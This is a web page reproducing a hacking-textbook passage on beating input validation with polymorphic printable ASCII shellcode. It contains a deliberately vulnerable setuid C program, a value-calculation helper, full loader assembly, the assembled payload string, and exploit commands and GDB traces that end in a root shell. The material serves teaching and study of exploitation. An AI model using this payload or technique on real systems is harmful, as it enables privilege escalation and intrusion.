SECURITY

Buffer Restrictions

8/31/2010 3:28:54 PM
buffer_restrictions.html
Sometimes a program will place certain restrictions on buffers. This type of data sanity-checking can prevent many vulnerabilities. Consider the following example program, which is used to update product descriptions in a fictitious database. The first argument is the product code, and the second is the updated description. This program doesn't actually update a database, but it does have an obvious vulnerability in it.

1. Buffer Restrictions

1.1. update_info.c
#include 
#include 
#include 

#define MAX_ID_LEN 40
#define MAX_DESC_LEN 500

/* Barf a message and exit. */
void barf(char *message, void *extra) {
   printf(message, extra);
   exit(1);
}

/* Pretend this function updates a product description in a database. */
void update_product_description(char *id, char *desc)
{
   char product_code[5], description[MAX_DESC_LEN];

   printf("[DEBUG]: description is at %p\n", description);

   strncpy(description, desc, MAX_DESC_LEN);
   strcpy(product_code, id);

   printf("Updating product #%s with description \'%s\'\n", product_code, desc);
   // Update database
}

int main(int argc, char *argv[], char *envp[])
{
  int i;
  char *id, *desc;

  if(argc < 2)
     barf("Usage: %s  \n", argv[0]);
id = argv[1]; // id - Product code to update in DB
desc = argv[2]; // desc - Item description to update

if(strlen(id) > MAX_ID_LEN) // id must be less than MAX_ID_LEN bytes.
barf("Fatal: id argument must be less than %u bytes\n", (void *)MAX_ID_LEN);

for(i=0; i < strlen(desc)-1; i++) { // Only allow printable bytes in desc.
if(!(isprint(desc[i])))
barf("Fatal: description argument can only contain printable bytes\n", NULL);
}

// Clearing out the stack memory (security)
// Clearing all arguments except the first and second
memset(argv[0], 0, strlen(argv[0]));
for(i=3; argv[i] != 0; i++)
memset(argv[i], 0, strlen(argv[i]));
// Clearing all environment variables
for(i=0; envp[i] != 0; i++)
memset(envp[i], 0, strlen(envp[i]));

printf("[DEBUG]: desc is at %p\n", desc);

update_product_description(id, desc); // Update database.
}

Despite the vulnerability, the code does make an attempt at security. The length of the product ID argument is restricted, and the contents of the description argument are limited to printable characters. In addition, the unused environment variables and program arguments are cleared out for security reasons. The first argument (id) is too small for shellcode, and since the rest of the stack memory is cleared out, there's only one place left.

reader@hacking:~/booksrc $ gcc -o update_info update_info.c
reader@hacking:~/booksrc $ sudo chown root ./update_info
reader@hacking:~/booksrc $ sudo chmod u+s ./update_info
reader@hacking:~/booksrc $ ./update_info
Usage: ./update_info reader@hacking:~/booksrc $ ./update_info OCP209 "Enforcement Droid" [DEBUG]: description is at 0xbffff650 Updating product #OCP209 with description 'Enforcement Droid' reader@hacking:~/booksrc $ reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "AAAA"x10') blah [DEBUG]: description is at 0xbffff650 Segmentation fault reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "\xf2\xf9\xff\xbf"x10') $(cat ./ shellcode.bin) Fatal: description argument can only contain printable bytes
reader@hacking:~/booksrc $

This output shows a sample usage and then tries to exploit the vulnerable strcpy() call. Although the return address can be overwritten using the first argument (id), the only place we can put shellcode is in the second argument (desc). However, this buffer is checked for nonprintable bytes. The debugging output below confirms that this program could be exploited, if there was a way to put shellcode in the description argument.

reader@hacking:~/booksrc $ gdb -q ./update_info
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1"
(gdb) run $(perl -e 'print "\xcb\xf9\xff\xbf"x10') blah
The program being debugged has been started already
Start it from the beginning? (y or n) y

Starting program: /home/reader/booksrc/update_info $(perl -e 'print "\xcb\xf9\xff\
xbf"x10')
blah
[DEBUG]: desc is at 0xbffff9cb
Updating product # with description 'blah'

Program received signal SIGSEGV, Segmentation fault.
0xbffff9cb in ?? ()
(gdb) i r eip
eip 0xbffff9cb 0xbffff9cb
(gdb) x/s $eip
0xbffff9cb: "blah"
(gdb)


The printable input validation is the only thing stopping exploitation. Like airport security, this input validation loop inspects everything coming in. And while it's not possible to avoid this check, there are ways to smuggle illicit data past the guards.

2. Polymorphic Printable ASCII Shellcode

Polymorphic shellcode refers to any shellcode that changes itself. The encoding shellcode from the previous section is technically polymorphic, since it modifies the string it uses while it's running. The new NOP sled uses instructions that assemble into printable ASCII bytes. There are other instructions that fall into this printable range (from 0x33 to 0x7e); however, the total set is actually rather small.

The goal is to write shellcode that will get past the printable character check. Trying to write complex shellcode with such a limited instruction set would simply be masochistic, so instead, the printable shellcode will use simple methods to build more complex shellcode on the stack. In this way, the printable shellcode will actually be instructions to make the real shellcode.

The first step is figuring out a way to zero out registers. Unfortunately, the XOR instruction on the various registers doesn't assemble into the printable ASCII character range. One option is to use the AND bitwise operation, which assembles into the percent character (%) when using the EAX register. The assembly instruction of and eax, 0x41414141 will assemble to the printable machine code of %AAAA, since 0x41 in hexadecimal is the printable character A.

An AND operation transforms bits as follows:

1 and 1 = 1
0 and 0 = 0
1 and 0 = 0
0 and 1 = 0

Since the only case where the result is 1 is when both bits are 1, if two inverse values are ANDed onto EAX, EAX will become zero.

    Binary                                Hexadecimal
    1000101010011100100111101001010       0x454e4f4a
AND 0111010001100010011000000110101   AND 0x3a313035
------------------------------------  --------------- 
    0000000000000000000000000000000       0x00000000

Thus, by using two printable 32-bit values that are bitwise inverses of each other, the EAX register can be zeroed without using any null bytes, and the resulting assembled machine code will be printable text.

and eax, 0x454e4f4a  ; Assembles into %JONE
and eax, 0x3a313035 ; Assembles into %501:

So %JONE%501: in machine code will zero out the EAX register. Interesting. Some other instructions that assemble into printable ASCII characters are shown in the box below.

sub eax, 0x41414141    -AAAA
push eax P
pop eax X
push esp T
pop esp \

Amazingly, these instructions, combined with the AND eax instruction, are sufficient to build loader code that will inject the shellcode onto the stack and then execute it. The general technique is, first, to set ESP back behind the executing loader code (in higher memory addresses), and then to build the shellcode from end to start by pushing values onto the stack, as shown here.

Since the stack grows up (from higher memory addresses to lower memory addresses), the ESP will move backward as values are pushed to the stack, and the EIP will move forward as the loader code executes. Eventually, EIP and ESP will meet up, and the EIP will continue executing into the freshly built shellcode.

Figure 6-1.


First, ESP must be set behind the printable loader shellcode. A little debugging with GDB shows that after gaining control of program execution, ESP is 555 bytes before the start of the overflow buffer (which will contain the loader code). The ESP register must be moved so it's after the loader code, while still leaving room for the new shellcode and for the loader shellcode itself. About 300 bytes should be enough room for this, so let's add 860 bytes to ESP to put it 305 bytes past the start of the loader code. This value doesn't need to be exact, since provisions will be made later to allow for some slop. Since the only usable instruction is subtraction, addition can be simulated by subtracting so much from the register that it wraps around. The register only has 32 bits of space, so adding 860 to a register is the same as subtracting 860 from 232, or 4,294,966,436. However, this subtraction must only use printable values, so we split it up across three instructions that all use printable operands.

sub eax, 0x39393333  ; Assembles into -3399
sub eax, 0x72727550 ; Assembles into -Purr
sub eax, 0x54545421 ; Assembles into -!TTT

As the GDB output confirms, subtracting these three values from a 32-bit number is the same as adding 860 to it.

reader@hacking:~/booksrc $ gdb -q
(gdb) print 0 - 0x39393333 - 0x72727550 - 0x54545421
$1 = 860
(gdb)

The goal is to subtract these values from ESP, not EAX, but the instruction sub esp doesn't assemble into a printable ASCII character. So the current value of ESP must be moved into EAX for the subtraction, and then the new value of EAX must be moved back into ESP.

However, since neither mov esp, eax nor mov eax, esp assemble into printable ASCII characters, this exchange must be done using the stack. By pushing the value from the source register to the stack and then popping it off into the destination register, the equivalent of a mov dest, source instruction can be accomplished with push source and pop dest. Fortunately, the pop and push instructions for both EAX and ESP registers assemble into printable ASCII characters, so this can all be done using printable ASCII.

Here is the final set of instructions to add 860 to ESP.

push esp             ; Assembles into T
pop eax ; Assembles into X

sub eax, 0x39393333 ; Assembles into -3399
sub eax, 0x72727550 ; Assembles into -Purr
sub eax, 0x54545421 ; Assembles into -!TTT

push eax ; Assembles into P
pop esp ; Assembles into \

This means that TX-3399-Purr-!TTT-P\ will add 860 to ESP in machine code. So far, so good. Now the shellcode must be built.

First, EAX must be zeroed out; this is easy now that a method has been discovered. Then, by using more sub instructions, the EAX register must be set to the last four bytes of the shellcode, in reverse order. Since the stack normally grows upward (toward lower memory addresses) and builds with a FILO ordering, the first value pushed to the stack must be the last four bytes of the shellcode. These bytes must be in reverse order, due to the little-endian byte ordering. The following output shows a hexadecimal dump of the standard shellcode used in the previous chapters, which will be built by the printable loader code.

reader@hacking:~/booksrc $ hexdump -C ./shellcode.bin
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
00000020 e1 cd 80 |...|


In this case, the last four bytes are shown in bold; the proper value for the EAX register is 0x80cde189. This is easy to do by using sub instructions to wrap the value around. Then, EAX can be pushed to the stack. This moves ESP up (toward lower memory addresses) to the end of the newly pushed value, ready for the next four bytes of shellcode (shown in italic in the preceding shellcode). More sub instructions are used to wrap EAX around to 0x53e28951, and this value is then pushed to the stack. As this process is repeated for each four-byte chunk, the shellcode is built from end to start, toward the executing loader code.

00000000  31 c0 31  db 31 c9 99  b0  a4 cd 80 6a 0b 58 51 68  |1.1.1......j.XQh|
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
00000020 e1 cd 80 |...|


Eventually, the beginning of the shellcode is reached, but there are only three bytes (shown in italic in the preceding shellcode) left after pushing 0x99c931db to the stack. This situation is alleviated by inserting one singlebyte NOP instruction at the beginning of the code, resulting in the value 0x31c03190 being pushed to the stack—0x90 is machine code for NOP.

Each of these four-byte chunks of the original shellcode is generated with the printable subtraction method used earlier. The following source code is a program to help calculate the necessary printable values.

2.1. printable_helper.c
#include 
#include 
#include 
#include 
#include 
#include 

#define CHR "%_01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-"

int main(int argc, char* argv[])
{
   unsigned int targ, last, t[4], l[4];
   unsigned int try, single, carry=0;
   int len, a, i, j, k, m, z, flag=0;
   char word[3][4];
   unsigned char mem[70];

   if(argc < 2) {
      printf("Usage: %s  \n", argv[0]);
exit(1);
}

srand(time(NULL));
bzero(mem, 70);
strcpy(mem, CHR);
len = strlen(mem);
strfry(mem); // Randomize
last = strtoul(argv[1], NULL, 0);
targ = strtoul(argv[2], NULL, 0);

printf("calculating printable values to subtract from EAX..\n\n");
t[3] = (targ & 0xff000000)>>24; // Splitting by bytes
t[2] = (targ & 0x00ff0000)>>16;
t[1] = (targ & 0x0000ff00)>>8;
t[0] = (targ & 0x000000ff);
l[3] = (last & 0xff000000)>>24;
l[2] = (last & 0x00ff0000)>>16;
l[1] = (last & 0x0000ff00)>>8;
l[0] = (last & 0x000000ff);

for(a=1; a < 5; a++) { // Value count
carry = flag = 0;
for(z=0; z < 4; z++) { // Byte count
for(i=0; i < len; i++) {
for(j=0; j < len; j++) {
for(k=0; k < len; k++) {
for(m=0; m < len; m++)
{
if(a < 2) j = len+1;
if(a < 3) k = len+1;
if(a < 4) m = len+1;
try = t[z] + carry+mem[i]+mem[j]+mem[k]+mem[m];
single = (try & 0x000000ff);
if(single == l[z])
{
carry = (try & 0x0000ff00)>>8;
if(i < len) word[0][z] = mem[i];
if(j < len) word[1][z] = mem[j];
if(k < len) word[2][z] = mem[k];
if(m < len) word[3][z] = mem[m];
i = j = k = m = len+2;
flag++;
}
}
}
}
}
}
if(flag == 4) { // If all 4 bytes found
printf("start: 0x%08x\n\n", last);
for(i=0; i < a; i++)
printf(" - 0x%08x\n", *((unsigned int *)word[i]));
printf("-------------------\n");
printf("end: 0x%08x\n", targ);

exit(0);
}
}

When this program is run, it expects two arguments—the start and the end values for EAX. For the printable loader shellcode, EAX is zeroed out to start with, and the end value should be 0x80cde189. This value corresponds to the last four bytes from shellcode.bin.

reader@hacking:~/booksrc $ gcc -o printable_helper printable_helper.c
reader@hacking:~/booksrc $ ./printable_helper 0 0x80cde189
calculating printable values to subtract from EAX..

start: 0x00000000

- 0x346d6d25
- 0x256d6d25
- 0x2557442d
-------------------
end: 0x80cde189
reader@hacking:~/booksrc $ hexdump -C ./shellcode.bin
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
00000020 e1 cd 80 |...|
00000023
reader@hacking:~/booksrc $ ./printable_helper 0x80cde189 0x53e28951
calculating printable values to subtract from EAX..

start: 0x80cde189

- 0x59316659
- 0x59667766
- 0x7a537a79
-------------------
end: 0x53e28951
reader@hacking:~/booksrc $

The output above shows the printable values needed to wrap the zeroed EAX register around to 0x80cde189 (shown in bold). Next, EAX should be wrapped around again to 0x53e28951 for the next four bytes of the shellcode (building backwards). This process is repeated until all the shellcode is built. The code for the entire process is shown below.

2.2. printable.s
BITS 32
push esp ; Put current ESP
pop eax ; into EAX.
sub eax,0x39393333 ; Subtract printable values
sub eax,0x72727550 ; to add 860 to EAX.
sub eax,0x54545421
push eax ; Put EAX back into ESP.
pop esp ; Effectively ESP = ESP + 860
and eax,0x454e4f4a
and eax,0x3a313035 ; Zero out EAX.

sub eax,0x346d6d25 ; Subtract printable values
sub eax,0x256d6d25 ; to make EAX = 0x80cde189.
sub eax,0x2557442d ; (last 4 bytes from shellcode.bin)
push eax ; Push these bytes to stack at ESP.
sub eax,0x59316659 ; Subtract more printable values
sub eax,0x59667766 ; to make EAX = 0x53e28951.
sub eax,0x7a537a79 ; (next 4 bytes of shellcode from the end)

push eax
sub eax,0x25696969
sub eax,0x25786b5a
sub eax,0x25774625
push eax ; EAX = 0xe3896e69
sub eax,0x366e5858
sub eax,0x25773939
sub eax,0x25747470
push eax ; EAX = 0x622f6868
sub eax,0x25257725
sub eax,0x71717171
sub eax,0x5869506a
push eax ; EAX = 0x732f2f68
sub eax,0x63636363
sub eax,0x44307744
sub eax,0x7a434957
push eax ; EAX = 0x51580b6a
sub eax,0x63363663
sub eax,0x6d543057
push eax ; EAX = 0x80cda4b0
sub eax,0x54545454
sub eax,0x304e4e25
sub eax,0x32346f25
sub eax,0x302d6137
push eax ; EAX = 0x99c931db
sub eax,0x78474778
sub eax,0x78727272
sub eax,0x774f4661
push eax ; EAX = 0x31c03190
sub eax,0x41704170
sub eax,0x2d772d4e
sub eax,0x32483242
push eax ; EAX = 0x90909090
push eax
push eax ; Build a NOP sled.
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax

At the end, the shellcode has been built somewhere after the loader code, most likely leaving a gap between the newly built shellcode and the executing loader code. This gap can be bridged by building a NOP sled between the loader code and the shellcode.

Once again, sub instructions are used to set EAX to 0x90909090, and EAX is repeatedly pushed to the stack. With each push instruction, four NOP instructions are tacked onto the beginning of the shellcode. Eventually, these NOP instructions will build right over the executing push instructions of the loader code, allowing the EIP and program execution to flow over the sled into the shellcode.

This assembles into a printable ASCII string, which doubles as executable machine code.

reader@hacking:~/booksrc $ nasm printable.s
reader@hacking:~/booksrc $ echo $(cat ./printable)
TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y-fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%
-ptt%P-
%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT-%NN0-%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--
B2H2PPPPPPPPPPPPPPPPPPPPPP
reader@hacking:~/booksrc $


This printable ASCII shellcode can now be used to smuggle the actual shellcode past the input-validation routine of the update_info program.

reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "AAAA"x10') $(cat ./printable)
[DEBUG]: desc argument is at 0xbffff910
Segmentation fault
reader@hacking:~/booksrc $ ./update_info $(perl -e 'print "\x10\xf9\xff\xbf"x10') $(cat ./
printable)
[DEBUG]: desc argument is at 0xbffff910
Updating product ########### with description 'TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%
--DW%P-
Yf1Y-fwfY-yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c
-W0TmP-
TTTT-%NN0-%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP'
sh-3.2# whoami
root
sh-3.2#


Neat. In case you weren't able to follow everything that just happened there, the output below watches the execution of the printable shellcode in GDB. The stack addresses will be slightly different, changing the return addresses, but this won't affect the printable shellcode—it calculates its location based on ESP, giving it this versatility.

reader@hacking:~/booksrc $ gdb -q ./update_info
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disass update_product_description
Dump of assembler code for function update_product_description:
0x080484a8 : push ebp
0x080484a9 : mov ebp,esp
0x080484ab : sub esp,0x28
0x080484ae : mov eax,DWORD PTR [ebp+8]
0x080484b1 : mov DWORD PTR [esp+4],eax
0x080484b5 : lea eax,[ebp-24]
0x080484b8 : mov DWORD PTR [esp],eax
0x080484bb : call 0x8048388 0x080484c0 : mov eax,DWORD PTR [ebp+12]
0x080484c3 : mov DWORD PTR [esp+8],eax
0x080484c7 : lea eax,[ebp-24]
0x080484ca : mov DWORD PTR [esp+4],eax
0x080484ce : mov DWORD PTR [esp],0x80487a0
0x080484d5 : call 0x8048398 0x080484da : leave
0x080484db : ret
End of assembler dump.
(gdb) break *0x080484db
Breakpoint 1 at 0x80484db: file update_info.c, line 21.
(gdb) run $(perl -e 'print "AAAA"x10') $(cat ./printable)
Starting program: /home/reader/booksrc/update_info $(perl -e 'print "AAAA"x10') $(cat ./
printable)
[DEBUG]: desc argument is at 0xbffff8fd

Program received signal SIGSEGV, Segmentation fault.
0xb7f06bfb in strlen () from /lib/tls/i686/cmov/libc.so.6
(gdb) run $(perl -e 'print "\xfd\xf8\xff\xbf"x10') $(cat ./printable)
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/reader/booksrc/update_info $(perl -e 'print "\xfd\xf8\xff\xbf"
x10')
$(cat ./printable)
[DEBUG]: desc argument is at 0xbffff8fd
Updating product # with description 'TX-3399-Purr-!TTTP\%JONE%501:-%mm4-%mm%--DW%P-Yf1Y
-fwfY-
yzSzP-iii%-Zkx%-%Fw%P-XXn6-99w%-ptt%P-%w%%-qqqq-jPiXP-cccc-Dw0D-WICzP-c66c-W0TmP-TTTT
-%NN0-
%o42-7a-0P-xGGx-rrrx-aFOwP-pApA-N-w--B2H2PPPPPPPPPPPPPPPPPPPPPP'

Breakpoint 1, 0x080484db in update_product_description (
id=0x72727550
,
desc=0x5454212d
) at update_info.c:21
21 }
(gdb) stepi
0xbffff8fd in ?? ()
(gdb) x/9i $eip
0xbffff8fd: push esp
0xbffff8fe: pop eax
0xbffff8ff: sub eax,0x39393333
0xbffff904: sub eax,0x72727550
0xbffff909: sub eax,0x54545421
0xbffff90e: push eax
0xbffff90f: pop esp
0xbffff910: and eax,0x454e4f4a
0xbffff915: and eax,0x3a313035
(gdb) i r esp
esp 0xbffff6d0 0xbffff6d0
(gdb) p /x $esp + 860
$1 = 0xbffffa2c
(gdb) stepi 9
0xbffff91a in ?? ()
(gdb) i r esp eax
esp 0xbffffa2c 0xbffffa2c
eax 0x0 0
(gdb)

The first nine instructions add 860 to ESP and zero out the EAX register The next eight instructions push the last eight bytes of the shellcode to the stack in four-byte chunks. This process is repeated in the next 32 instructions to build the entire shellcode on the stack.

(gdb) x/8i $eip
0xbffff91a: sub eax,0x346d6d25
0xbffff91f: sub eax,0x256d6d25
0xbffff924: sub eax,0x2557442d
0xbffff929: push eax
0xbffff92a: sub eax,0x59316659
0xbffff92f: sub eax,0x59667766
0xbffff934: sub eax,0x7a537a79
0xbffff939: push eax
(gdb) stepi 8
0xbffff93a in ?? ()
(gdb) x/4x $esp
0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000
(gdb) stepi 32
0xbffff9ba in ?? ()
(gdb) x/5i $eip
0xbffff9ba: push eax
0xbffff9bb: push eax
0xbffff9bc: push eax
0xbffff9bd: push eax
0xbffff9be: push eax
(gdb) x/16x $esp
0xbffffa04: 0x90909090 0x31c03190 0x99c931db 0x80cda4b0
0xbffffa14: 0x51580b6a 0x732f2f68 0x622f6868 0xe3896e69
0xbffffa24: 0x53e28951 0x80cde189 0x00000000 0x00000000
0xbffffa34: 0x00000000 0x00000000 0x00000000 0x00000000
(gdb) i r eip esp eax
eip 0xbffff9ba 0xbffff9ba
esp 0xbffffa04 0xbffffa04
eax 0x90909090 -1869574000
(gdb)


Now with the shellcode completely constructed on the stack, EAX is set to 0x90909090. This is pushed to the stack repeatedly to build a NOP sled to bridge the gap between the end of the loader code and the newly constructed shellcode.

(gdb) x/24x 0xbffff9ba
0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x50505050
0xbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000
0xbffff9da: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff9ea: 0x00000000 0x00000000 0x00000000 0x00000000
0xbffff9fa: 0x00000000 0x00000000 0x90900000 0x31909090
0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158
(gdb) stepi 10
0xbffff9c4 in ?? ()
(gdb) x/24x 0xbffff9ba
0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x50505050
0xbffff9ca: 0x50505050 0x00000050 0x00000000 0x00000000
0xbffff9da: 0x90900000 0x90909090 0x90909090 0x90909090
0xbffff9ea: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9fa: 0x90909090 0x90909090 0x90909090 0x31909090
0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158
(gdb) stepi 5
0xbffff9c9 in ?? ()
(gdb) x/24x 0xbffff9ba
0xbffff9ba: 0x50505050 0x50505050 0x50505050 0x90905050
0xbffff9ca: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9da: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9ea: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff9fa: 0x90909090 0x90909090 0x90909090 0x31909090
0xbffffa0a: 0x31db31c0 0xa4b099c9 0x0b6a80cd 0x2f685158
(gdb)

Now the execution pointer (EIP) can flow over the NOP bridge into the constructed shellcode.

Printable shellcode is a technique that can open some doors. It and all the other techniques we discussed are just building blocks that can be used in a myriad of different combinations. Their application requires some ingenuity on your part. Be clever and beat them at their own game.

Other  
 
Top 10
Review : Sigma 24mm f/1.4 DG HSM Art
Review : Canon EF11-24mm f/4L USM
Review : Creative Sound Blaster Roar 2
Review : Philips Fidelio M2L
Review : Alienware 17 - Dell's Alienware laptops
Review Smartwatch : Wellograph
Review : Xiaomi Redmi 2
Extending LINQ to Objects : Writing a Single Element Operator (part 2) - Building the RandomElement Operator
Extending LINQ to Objects : Writing a Single Element Operator (part 1) - Building Our Own Last Operator
3 Tips for Maintaining Your Cell Phone Battery (part 2) - Discharge Smart, Use Smart
REVIEW
- First look: Apple Watch

- 3 Tips for Maintaining Your Cell Phone Battery (part 1)

- 3 Tips for Maintaining Your Cell Phone Battery (part 2)
VIDEO TUTORIAL
- How to create your first Swimlane Diagram or Cross-Functional Flowchart Diagram by using Microsoft Visio 2010 (Part 1)

- How to create your first Swimlane Diagram or Cross-Functional Flowchart Diagram by using Microsoft Visio 2010 (Part 2)

- How to create your first Swimlane Diagram or Cross-Functional Flowchart Diagram by using Microsoft Visio 2010 (Part 3)
Popular Tags
Microsoft Access Microsoft Excel Microsoft OneNote Microsoft PowerPoint Microsoft Project Microsoft Visio Microsoft Word Active Directory Biztalk Exchange Server Microsoft LynC Server Microsoft Dynamic Sharepoint Sql Server Windows Server 2008 Windows Server 2012 Windows 7 Windows 8 Adobe Indesign Adobe Flash Professional Dreamweaver Adobe Illustrator Adobe After Effects Adobe Photoshop Adobe Fireworks Adobe Flash Catalyst Corel Painter X CorelDRAW X5 CorelDraw 10 QuarkXPress 8 windows Phone 7 windows Phone 8